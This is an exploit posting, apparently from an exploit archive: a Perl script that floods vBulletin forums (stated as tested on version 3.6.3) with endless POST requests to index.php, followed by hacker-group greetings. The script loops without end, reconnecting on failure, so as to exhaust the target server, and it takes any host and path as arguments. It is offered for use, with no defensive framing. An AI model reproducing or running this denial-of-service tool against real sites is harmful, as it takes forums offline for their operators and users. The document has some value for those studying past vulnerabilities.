vBulletin Denial of Service Vulnerability

#!/c:/perl/bin # # VBulletin Denail of Service Exploit by 4.!.5 # # created : !N 7h3 DARKNESS # CODED BY: R3d-D3V!L # # important => Image Verification in (search.php) is NOT Enabled. # It tested on V3.6.3 # #Perl Script use Socket; if (@ARGV < 2) { &usage } $rand=rand(10); $host = $ARGV[0]; $dir = $ARGV[1]; $host =~ s/(http:\/\/)//eg; for ($i=0; $i<10; $i--) { $user="vb".$rand.$i; $data = "s=" ; $len = length $data; $foo = "POST ".$dir."index.php HTTP/1.1\r\n". "Accept: */*\r\n". "Accept-Language: en-gb\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n". "Host: $host\r\n". "Content-Length: $len\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n\r\n". "$data"; my $port = "80"; my $proto = getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto); connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo; send(SOCKET,"$foo", 0); syswrite STDOUT, "+" ; } print "\n\n"; system('ping $host'); sub usage { print "\tusage: \n"; print "\t$0 <host> </dir/>\n"; print "\tex: $0 127.0.0.1 /forum/\n"; print "\tex2: $0 127.0.0.1 /\n\n"; exit(); }; # Exploit By 4.!.5... ###################################################### [~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}---------------------------------- [~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987 [~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ [~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4 [?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec)) [?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA [~]spechial FR!ND: 74M3M [~] !'M 4R48!4N 3XPL0!73R. [~] {[(D!R 4ll 0R D!E)]}; [~]--------------------------------------------------------------------------------